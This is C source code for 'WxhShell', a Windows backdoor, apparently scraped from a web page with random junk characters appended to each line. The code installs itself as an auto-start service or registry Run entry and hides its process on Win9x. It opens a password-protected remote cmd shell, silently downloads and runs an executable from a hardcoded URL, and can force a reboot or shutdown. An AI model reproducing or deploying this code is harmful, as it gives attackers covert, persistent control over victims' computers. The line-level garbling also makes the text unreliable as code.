    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B?wq=DoG  
    else { y?!"6t7&  
    closesocket(wsh); Q=:|R3U/  
    ExitThread(0); CQ2jP G*py  
    } <6=c,y  
    break; SY8C4vb'h  
    } 9ll~~zF99|  
  // 获取shell t >sE x:  
  case 's': { Ct|A:/z(  
    CmdShell(wsh); $]8Q(/mbK  
    closesocket(wsh); tI{_y  
    ExitThread(0); {^\r`V p  
    break; /Q )\+  
  } h.fq,em+H  
  // 退出 ]{LjRSV  
  case 'x': { &~w}_Fjk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BPHW}F]X  
    CloseIt(wsh); P }uOJVQ_  
    break; 5M_H NWi4  
    } kNL\m[W8$  
  // 离开 L.WljNo  
  case 'q': { Xx(T">]vJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w*MpX U<  
    closesocket(wsh); [S W_C  
    WSACleanup(); ]:\dPw`A  
    exit(1); v.ui!|c  
    break; E~:x(5'%d  
        } &VcV$8k  
  } l NBL4yM  
  } bJ;'`sw1  
JMM W  
  // 提示信息 MJrR[h]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yCX?!E;La  
} 3yXY.>'  
  } _-Fs# f8  
y)gKxRaCS  
  return; cs'{5!i]  
} ri.I pRe  
 rXU\  
// shell模块句柄 .GcKa024  
int CmdShell(SOCKET sock) "wHFN>5B  
{ +2j AC r  
STARTUPINFO si; V2G6Kw9gt  
ZeroMemory(&si,sizeof(si)); !? gKqx'T$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '`<w#z}AF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PiYxk+N  
PROCESS_INFORMATION ProcessInfo; 7\q~%lDE  
char cmdline[]="cmd"; &8 x-o,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {.\TtE  
  return 0; w1DV\Ap*  
} O8.5}>gDn.  
VAu&@a`  
// 自身启动模式 3%ZOKb"D*  
int StartFromService(void) F@:'J\I}:  
{ VM,]X.  
typedef struct &JI8]JmU)  
{ uR r o?m<  
  DWORD ExitStatus; $p?aVO  
  DWORD PebBaseAddress; &pp|U}  
  DWORD AffinityMask; :Z z '1C  
  DWORD BasePriority; zI<<Q2  
  ULONG UniqueProcessId; e@OX_t_  
  ULONG InheritedFromUniqueProcessId; (*)hD(C5  
}   PROCESS_BASIC_INFORMATION; ^]-6u:J!  
/~f'}]W  
PROCNTQSIP NtQueryInformationProcess; /gkX38  
3kMf!VL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;BIY^6,7e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hg$lXtn]  
^M>P:~  
  HANDLE             hProcess; NPe%F+X  
  PROCESS_BASIC_INFORMATION pbi; xX4N4vb  
Eg3q!J&Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  'CkIz"Wd  
  if(NULL == hInst ) return 0; P(z++A&  
OH(waKq2I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )/?$3h;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e;}7G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1^(ad;BC y  
)f<z% :I+Z  
  if (!NtQueryInformationProcess) return 0; fDU!~/#  
W]5w \  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  O+Y6N  
  if(!hProcess) return 0; eM?I$ePTN  
_8_R 1s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &@Be2!%'9K  
tHwMX1 IG  
  CloseHandle(hProcess); P! #[mio  
OA"q[s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [}0haTYc4  
if(hProcess==NULL) return 0; 8&`LYdzt  
dvJ M6W>^=  
HMODULE hMod; SmSH2m-  
char procName[255]; S2VA{9:m  
unsigned long cbNeeded; k5.Lna  
 DwE[D]7o  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S2GxV/E  
f5VLw`m}.8  
  CloseHandle(hProcess); U6fgo3RH  
GH:jH]u!V  
if(strstr(procName,"services")) return 1; // 以服务启动 CD ( :jM?  
65$+{s  
  return 0; // 注册表启动 qm8B8&-  
} 7/@TF/V  
UIN<2F_  
// 主模块 {dMsz   
int StartWxhshell(LPSTR lpCmdLine) } .m<  
{ dufu|BL|}  
  SOCKET wsl; ++Ts  
BOOL val=TRUE; %oa-WmWm  
  int port=0; T{ XS")Vw  
  struct sockaddr_in door; E GU 0)<  
a>I+]`g  
  if(wscfg.ws_autoins) Install(); 0 e ~JMUb  
3/e.38m|  
port=atoi(lpCmdLine); .p]RKS=(:  
RF4vtQC=  
if(port<=0) port=wscfg.ws_port; CiLg]va   
jrr*!^4|  
  WSADATA data; q"sed]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qCpp6~]Um  
dkBIx$t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A:N|\Mv2b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [KaAXv .X  
  door.sin_family = AF_INET; ipgC RHE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /saIs%(fU  
  door.sin_port = htons(port); aPfO$b:  
q{I%Q)t)gU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cyv`B3}  
closesocket(wsl); O{G?;H$  
return 1; )SRefW.v  
} A_ N;   
2E/"hQw  
  if(listen(wsl,2) == INVALID_SOCKET) { )E@.!Ut4o  
closesocket(wsl); Ln<`E|[29  
return 1; }mq6]ZrK  
} ~>Fu5i $i  
  Wxhshell(wsl); " H&W}N  
  WSACleanup(); q#ClnG*  
m^f0V2M_  
return 0; xH(lm2kvT  
}`QUHIF  
} ag#S6E^%S  
8\ +T8(m  
// 以NT服务方式启动 zrL$]Oy}x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m}aB?+i  
{ ," Wr"  
DWORD   status = 0; iWB=sL&p  
  DWORD   specificError = 0xfffffff; O-~ 7b(Z  
EZy)A$|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3<Zq ]jk?n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _A5e{Gb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?U5{Wa85D  
  serviceStatus.dwWin32ExitCode     = 0; )oDHeU<&  
  serviceStatus.dwServiceSpecificExitCode = 0; v/0QOp  
  serviceStatus.dwCheckPoint       = 0; %C'?@,7C  
  serviceStatus.dwWaitHint       = 0; EC6DW=  
F2dHH^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ft>@=K(|  
  if (hServiceStatusHandle==0) return; 5uNJx5g  
4(~L#}:r!  
status = GetLastError(); C'+YQ]u  
  if (status!=NO_ERROR) 7he,?T)vD  
{ q J=~Y|(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f/NH:1)y  
    serviceStatus.dwCheckPoint       = 0; +0%w ;'9z  
    serviceStatus.dwWaitHint       = 0; Z!#!Gu*V  
    serviceStatus.dwWin32ExitCode     = status; YTX,cj#D^&  
    serviceStatus.dwServiceSpecificExitCode = specificError; #*uL)2nR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ ZwvBH  
    return; UcDS9f_87  
  } wd^':  
a %'the  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ia~HQ$'+n  
  serviceStatus.dwCheckPoint       = 0; Xy&A~F  
  serviceStatus.dwWaitHint       = 0; GT!M[*[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /y#f3r+*2  
} f ue(UMF~  
.E1rqBG  
// 处理NT服务事件,比如:启动、停止 r CHl?J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tr3! d_  
{ d>&,9c%  
switch(fdwControl) A*R^n}sh  
{ i2U{GV<K-r  
case SERVICE_CONTROL_STOP: v ~?qz5:K~  
  serviceStatus.dwWin32ExitCode = 0; cLJ$M`e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ' !cCMTj  
  serviceStatus.dwCheckPoint   = 0; 2dcV"lY  
  serviceStatus.dwWaitHint     = 0; `$<.pOm  
  { [M}{G5U.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S6M}WR^,  
  } 18d4fR   
  return; 4qbBc1,7y  
case SERVICE_CONTROL_PAUSE: 4*#18<u5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |=ba9&q  
  break; V-2(?auZd  
case SERVICE_CONTROL_CONTINUE: +wU@ynw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D~fl JR  
  break; (sTpmQx,b  
case SERVICE_CONTROL_INTERROGATE: [{,T.;'<j  
  break; 4Zddw0|2  
}; GL0L!="!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x8\?}UnB  
} DE8n+Rm  
YQ)kRhFA  
// 标准应用程序主函数 -1_)LO&H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7~% ?#  
{ .x.]`b(  
rjAn@!|:+  
// 获取操作系统版本 9C9oUtS  
OsIsNt=GetOsVer(); {n.PF8A5X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z'W =\rl  
:T$|bc  
  // 从命令行安装 S-b/S5  
  if(strpbrk(lpCmdLine,"iI")) Install(); aQcleTb  
SrJGTuXg  
  // 下载执行文件 HTS0s\R$  
if(wscfg.ws_downexe) { |\t-g" ~sN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NiK4d{E&  
  WinExec(wscfg.ws_filenam,SW_HIDE); [`[|l  
} v`x.)S1  
,0Hr2*p  
if(!OsIsNt) { ({)+3]x  
// 如果时win9x,隐藏进程并且设置为注册表启动 fk>aqm7D!  
HideProc(); .},'~NM]  
StartWxhshell(lpCmdLine); 3m)0z{n  
} \fd v]f  
else  RVmh6m  
  if(StartFromService()) 9};8?mucr  
  // 以服务方式启动 aCj&O:]=  
  StartServiceCtrlDispatcher(DispatchTable); `?@}>.  
else ,HV(l+k {|  
  // 普通方式启动 2(+2+ }  
  StartWxhshell(lpCmdLine); 'ya{9EdlT  
9YyLf;  
return 0; (gU!=F?#m  
} MK~8}x2K  
j0aXyLNX  
m,w A:o$'  
h"Q8b}$^)  
=========================================== 69NeQ$](  
3M7/?TMw{6  
iy!=6  
2- h{N  
AKfDXy  
$GcqBg-Hi  
" aFm_;\  
tw/dD +  
#include <stdio.h> iHf$  
#include <string.h> ZJJY8k `  
#include <windows.h> ..5CC;B  
#include <winsock2.h> f~R(D0@  
#include <winsvc.h> 2MIi=c:oqK  
#include <urlmon.h> i9|Sa6vuI  
1n8/r}q'H  
#pragma comment (lib, "Ws2_32.lib") .! 3|&V'<  
#pragma comment (lib, "urlmon.lib") ?e4YGOe.  
An0|[uWH  
#define MAX_USER   100 // 最大客户端连接数 bsli0FJSh'  
#define BUF_SOCK   200 // sock buffer : *#-%0  
#define KEY_BUFF   255 // 输入 buffer  7xlkZF  
xLajso1g69  
#define REBOOT     0   // 重启 U '_Q>k  
#define SHUTDOWN   1   // 关机 ec;o\erPG  
WE#^a6  
#define DEF_PORT   5000 // 监听端口 JPHL#sKyz  
~G&dqw/.-U  
#define REG_LEN     16   // 注册表键长度 Dml;#'IF3  
#define SVC_LEN     80   // NT服务名长度 adcE'fA<_  
Gb6'n$g  
// 从dll定义API n( yn<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nh|uO?&C6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &6!)jIWJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;H*T^0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  K5h  
FD #8mg  
// wxhshell配置信息 %wy.TN  
struct WSCFG { T'9'G M  
  int ws_port;         // 监听端口 :3Ox~o  
  char ws_passstr[REG_LEN]; // 口令 ~ .g@hS8>  
  int ws_autoins;       // 安装标记, 1=yes 0=no !f [_+CD  
  char ws_regname[REG_LEN]; // 注册表键名 'IQ0{&EI  
  char ws_svcname[REG_LEN]; // 服务名 F)QDJE0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IEi^kJflU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K69'6?#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JH9J5%sp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FVKTbvYn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + &Eqk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j,eo2HaL  
2/^3WY1U  
}; $s:aW^k  
v\ )W?i*l  
// default Wxhshell configuration 4+8@`f>s  
struct WSCFG wscfg={DEF_PORT, ^ZcGY+/~  
    "xuhuanlingzhe", tyFzSrfc  
    1, XpHrt XD  
    "Wxhshell", rb.N~  
    "Wxhshell", r#a=@  
            "WxhShell Service", Ti5-6%~&  
    "Wrsky Windows CmdShell Service", S=5o < 1  
    "Please Input Your Password: ", 6cXyJW  
  1, q0vQ a  
  "http://www.wrsky.com/wxhshell.exe", R-$!9mnr  
  "Wxhshell.exe" chX"O 0?"  
    }; $U~]=.n  
TvbE2Q;/UL  
// 消息定义模块 rV#ch(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; onzxx4bax  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h:|qC`}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Fx.=#bVX7  
char *msg_ws_ext="\n\rExit."; +mn[5Y}:  
char *msg_ws_end="\n\rQuit."; zrb}_  
char *msg_ws_boot="\n\rReboot..."; I efn$  
char *msg_ws_poff="\n\rShutdown..."; W'TZ%K) I  
char *msg_ws_down="\n\rSave to "; kxv1Hn"`{E  
{`@G+JV~Jw  
char *msg_ws_err="\n\rErr!"; R\[e!g*I  
char *msg_ws_ok="\n\rOK!"; 5.GR1kl6  
3!]rmZ-W  
char ExeFile[MAX_PATH]; ` Sz}`+E  
int nUser = 0; Gd85kY@w7  
HANDLE handles[MAX_USER]; Dlvz )  
int OsIsNt; #ABZ&Z  
ww1[rCh\+  
SERVICE_STATUS       serviceStatus; P*j|.63  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8":Q)9;%  
D0f]$  
// 函数声明 ;2QP7PrSY  
int Install(void); 3bI9Zt#J%&  
int Uninstall(void); ;$g?T~v7  
int DownloadFile(char *sURL, SOCKET wsh); t?FBG4  
int Boot(int flag); W"{N Bi  
void HideProc(void); BI@[\aRLQ  
int GetOsVer(void); CrTw@AW9)  
int Wxhshell(SOCKET wsl); 8}:nGK|kx  
void TalkWithClient(void *cs); /)O"l@ }U  
int CmdShell(SOCKET sock); `R^gU]Z,  
int StartFromService(void); $F.a><1rY  
int StartWxhshell(LPSTR lpCmdLine); ;O,jUiQ  
%WS+(0*1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A04U /;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @=u3ZVD  
_Fg5A7or  
// 数据结构和表定义 8z\xrY  
SERVICE_TABLE_ENTRY DispatchTable[] = w0unS`\4  
{ 9M c ae 31  
{wscfg.ws_svcname, NTServiceMain}, lyhiFkO iH  
{NULL, NULL} >9J:Uo1z  
}; BZ^}J!Q'*  
f|(M.U-  
// 自我安装 I q.*8Oc  
int Install(void) \~wMfP8  
{ W2!+z{:m  
  char svExeFile[MAX_PATH]; klhtKp_p  
  HKEY key; \_fv7Fdp{  
  strcpy(svExeFile,ExeFile); `Q,H|hp;k;  
q5S9C%b  
// 如果是win9x系统,修改注册表设为自启动 xgtR6E^k  
if(!OsIsNt) { /Z4et'Lo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,hmL/K0"(5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <OPArht  
  RegCloseKey(key); OZ;*JR:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 93hxSRw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bg0Wnl  
  RegCloseKey(key); 32 =z)]FZ  
  return 0; P!k{u^$L  
    } +"VP-s0  
  } ovV'VcUs  
} 6W Ur QFK  
else { P0b7S'a4!  
QmIBaMI#  
// 如果是NT以上系统,安装为系统服务 0m ? )ROaJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E_LN]v  
if (schSCManager!=0) TS5Q1+hWHV  
{ T6k0>[3xf  
  SC_HANDLE schService = CreateService ?bu>r=oIO]  
  ( vfo~27T{(  
  schSCManager, ?z u8)U  
  wscfg.ws_svcname, Xha..r  
  wscfg.ws_svcdisp, qIqM{#' ^  
  SERVICE_ALL_ACCESS, 40 0#v|b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sx<%2  
  SERVICE_AUTO_START, 4X|zmr:A  
  SERVICE_ERROR_NORMAL, nFs(?Rv*  
  svExeFile, g=o4Q< #^y  
  NULL, ,7b[!#?8  
  NULL, RpYERAgT  
  NULL, h)nG)|c  
  NULL, {]|J5Dgfe  
  NULL -Y;3I00(  
  ); j <RrLn_  
  if (schService!=0) FC"8#*x  
  { ?0xgRe<  
  CloseServiceHandle(schService); 29q _BR *:  
  CloseServiceHandle(schSCManager); 5*D/%]YsD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dC4'{ n|7  
  strcat(svExeFile,wscfg.ws_svcname); }:#P)8/v>%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {FTqu.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S 6,.FYH  
  RegCloseKey(key); 7J&4akT{9  
  return 0; 61 ~upQaR  
    } yR.Ong  
  } >&#)Tqt!?  
  CloseServiceHandle(schSCManager); !5?<% *  
} YT8F#t8  
} Pr,q*_Yy  
W+1^4::+  
return 1; FU<Jp3<%  
} t);/'3|  
.XhrCi Z  
// 自我卸载 '$QB$2~V  
int Uninstall(void) IdxzE_@  
{ pFz`}?c0  
  HKEY key; sFTy(A/  
{cw /!B  
if(!OsIsNt) { $, fX:x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cPc</[x[W  
  RegDeleteValue(key,wscfg.ws_regname); d8x;~RA  
  RegCloseKey(key); dcWD(-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -C&P%tt Y  
  RegDeleteValue(key,wscfg.ws_regname); t<?,F  
  RegCloseKey(key); @!d{bQd,  
  return 0; 7 x?<*T  
  } 9k[9P;"F:  
} GNJj=1Lsd  
} ^L&iR0  
else { *s iFj CN<  
wo 5   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4|#WFLo@  
if (schSCManager!=0) Nu~lsWyRI5  
{ &UlWCOo8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =zs`#-^8  
  if (schService!=0) }f7j 8py  
  { 6/dI6C!  
  if(DeleteService(schService)!=0) { QoH6  
  CloseServiceHandle(schService); 9490o:s  
  CloseServiceHandle(schSCManager); 6Sn.I1Wy  
  return 0; G'aDb/  
  } 1D!<'`)AY  
  CloseServiceHandle(schService); 'a.qu9PJ  
  } LvYB7<zk>  
  CloseServiceHandle(schSCManager); b9dLt6d  
} >t_6B~x9  
} )B8$<sv  
x.R4% Z  
return 1; K8Y=S12Ti  
} 2P{Gxz<#  
OprkR  
// 从指定url下载文件 Jma1N;d  
int DownloadFile(char *sURL, SOCKET wsh) 3>VL}Ui}  
{ >Wg hn:^  
  HRESULT hr; }txX; "/  
char seps[]= "/"; }U5yQ%N  
char *token; &W6^sj*k5U  
char *file; gEE\y{y  
char myURL[MAX_PATH]; x{ WD;$J  
char myFILE[MAX_PATH]; /%A*aGyIc  
rguCp}r  
strcpy(myURL,sURL); c=.(!qdH  
  token=strtok(myURL,seps); TT3|/zwn  
  while(token!=NULL) ~zNAbaC+>t  
  { N^:9Fz  
    file=token; Ck7uJI<x  
  token=strtok(NULL,seps); !f&g-V  
  } dL )<% o  
h2 ;F  
GetCurrentDirectory(MAX_PATH,myFILE); 7o5BXF  
strcat(myFILE, "\\"); RF0HjgP  
strcat(myFILE, file); J!U}iD@occ  
  send(wsh,myFILE,strlen(myFILE),0); F6 flIG&h  
send(wsh,"...",3,0); -Wi` G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gQ1;],_  
  if(hr==S_OK) x39<6_?G  
return 0; O55 xS+3^k  
else D]Xsvv #  
return 1; ?"g2v-jTK  
#';:2Nyq  
} K~eh P[^  
{8,J@9NU  
// 系统电源模块 L AAHEv  
int Boot(int flag) >_ 2dvg=U  
{ ur7q [n  
  HANDLE hToken; )iK6:s #  
  TOKEN_PRIVILEGES tkp; v^iL5y!  
m#Z# .j_2  
  if(OsIsNt) { Px`!A EFd[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z]D69O b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HYSIN^<oy  
    tkp.PrivilegeCount = 1; JQHvz9Yg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eb"5- 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  o.\F.C$  
if(flag==REBOOT) { * U=s\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GKc`xIQ  
  return 0; 7!TueP0Zd  
} eHNyNVz  
else { :mn>0jK,N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _#8RSr8'y  
  return 0; ' AEE[  
} XtSkh] #z!  
  } ?\s+EE&-  
  else { p\aaJ  
if(flag==REBOOT) { /?F/9hL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JKmIvZ)8  
  return 0; Opc ZU{4 b  
} 0-yp,G  
else { '|p$)yx2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xx9 g''Q  
  return 0; <oA7'|Bu<  
} I5n^,@md  
} Ay w ;N  
FOy|F-j  
return 1; 8~z~_TD6m@  
} D}8[bWF  
NmJWU:W_@  
// win9x进程隐藏模块 O% KsD[W;  
void HideProc(void) kbMWGB%;  
{ fd<:_f]v  
k=JrLfD4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }"PU%+J  
  if ( hKernel != NULL ) e MY<uqdw  
  { K<ft2anY5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v)t:|Q{I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z Q`jP$2  
    FreeLibrary(hKernel); ]<rkxgMW>  
  } 5aZ2j26  
cacr=iX  
return; {NFr]LGOp  
} 6BbGA*%{  
"haL  
// 获取操作系统版本 y8!4q  
int GetOsVer(void) YS@ypzc/  
{ hYNY"VB  
  OSVERSIONINFO winfo; 3|4|*6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2Mvrey)  
  GetVersionEx(&winfo); _R13f@NWB:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T;y>>_,  
  return 1; Vjp1RWb  
  else ``Dq  
  return 0; lG!|{z7+0  
} 6dN7_v)  
pg.ri64H<  
// 客户端句柄模块 J|kR5'?x  
int Wxhshell(SOCKET wsl) (@<c6WS  
{ Ix!Iw[CNd  
  SOCKET wsh; o9%)D<4M  
  struct sockaddr_in client; f~y%%+{p  
  DWORD myID; G{ sOR  
0y;*Cfi9  
  while(nUser<MAX_USER) uRRQyZ  
{ V#t%/l  
  int nSize=sizeof(client); $.PuK~}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P&)xz7wG  
  if(wsh==INVALID_SOCKET) return 1; S=<}:#;u0  
ceM6{N<_U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xti[[sJ  
if(handles[nUser]==0) (\a]"g,]v  
  closesocket(wsh); L,`Lggq-  
else }Q?c"H!/  
  nUser++; ];a=Pn-:}G  
  } 9S7 kUl{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xtE_=5$~  
Xg SxN!I  
  return 0; "B4;,+4kR  
} %Bn?n{ /  
{QZUDPPR  
// 关闭 socket Z!@~>i  
void CloseIt(SOCKET wsh) 8:>1F,  
{ &8>IeK {I  
closesocket(wsh); QP)pgAc  
nUser--; e8]\U/  
ExitThread(0); Mjfx~I27  
} ##;Er47@^  
[*HN"  
// 客户端请求句柄 8X`tU<Ab  
void TalkWithClient(void *cs) LbG_z =A  
{ 3k# /{Z  
~j5x+yC  
  SOCKET wsh=(SOCKET)cs; gb> }v7  
  char pwd[SVC_LEN]; a1.Ptf eW|  
  char cmd[KEY_BUFF]; S<u-n8bv  
char chr[1]; ?~;:jz|9<'  
int i,j; x2z;6)  
aj}sc/Qa  
  while (nUser < MAX_USER) { .k9{Yv0  
x~{;TZa[I  
if(wscfg.ws_passstr) { & )vC;$vD`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H nUYqhZS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1_ C]*p  
  //ZeroMemory(pwd,KEY_BUFF); M57T2]8,  
      i=0; BV(8y.H  
  while(i<SVC_LEN) { &A)B~"[~  
T[4<R 5}  
  // 设置超时 92d6U2T4&  
  fd_set FdRead; WxJf{=-  
  struct timeval TimeOut; bH2MdU  
  FD_ZERO(&FdRead); ~r$jza~o(  
  FD_SET(wsh,&FdRead); ,^WJm?R  
  TimeOut.tv_sec=8; K+8-9$w6  
  TimeOut.tv_usec=0; On@<J&%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vR=6pl$|~~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f=!VsR2o  
*gF<m9&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E)7F\w  
  pwd=chr[0]; rBTeb0i?  
  if(chr[0]==0xd || chr[0]==0xa) { .E&z$N  
  pwd=0; 'GoZqiYT  
  break; bi&*9K0  
  } ]%Nlv(  
  i++; pY~,(s|Qb  
    } d,tU#N{Q6  
""h)LUrl  
  // 如果是非法用户,关闭 socket D8nD/||;Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ra/Ukv_v  
} ofMY,~w  
K ryo}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G4;3cT3'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 80Y\|)  
LIVU^Os.  
while(1) { -0Tnh;&=  
A@D2+fS  
  ZeroMemory(cmd,KEY_BUFF); E)-r+ <l  
iQ6epg1wB  
      // 自动支持客户端 telnet标准   ,7)C"  
  j=0; -:9P%jWt  
  while(j<KEY_BUFF) { d90Z,nex  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7`H 1f]d  
  cmd[j]=chr[0]; 2Nm>5l  
  if(chr[0]==0xa || chr[0]==0xd) { |*X*n*oI  
  cmd[j]=0; ',4x$qe  
  break; `)h6j)xiQ  
  } Xy5s^82?  
  j++; y"<))-MH  
    } Hiv!BV|  
)wtaKF.-  
  // 下载文件 16EVl~LN  
  if(strstr(cmd,"http://")) { \WrFqm#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); deeU@x`f<  
  if(DownloadFile(cmd,wsh)) *tX{MSYW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8; R|  
  else !.<T"8BUpv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3!o4)yJWx  
  } 7"*|2Xq  
  else { gbStAr.  
G02m/8g3  
